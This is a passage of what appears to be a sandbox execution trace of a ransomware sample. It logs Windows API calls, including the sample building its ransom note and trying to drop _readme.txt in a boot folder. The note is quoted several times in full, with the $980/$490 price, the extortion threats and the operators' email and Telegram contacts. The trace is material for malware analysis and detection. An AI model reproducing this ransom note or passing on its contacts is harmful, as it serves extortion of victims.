information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.679] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.679] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.680] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.680] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.680] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.680] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.680] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.680] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.680] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.680] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.680] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.680] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.680] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.681] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.682] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.683] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.684] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.684] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 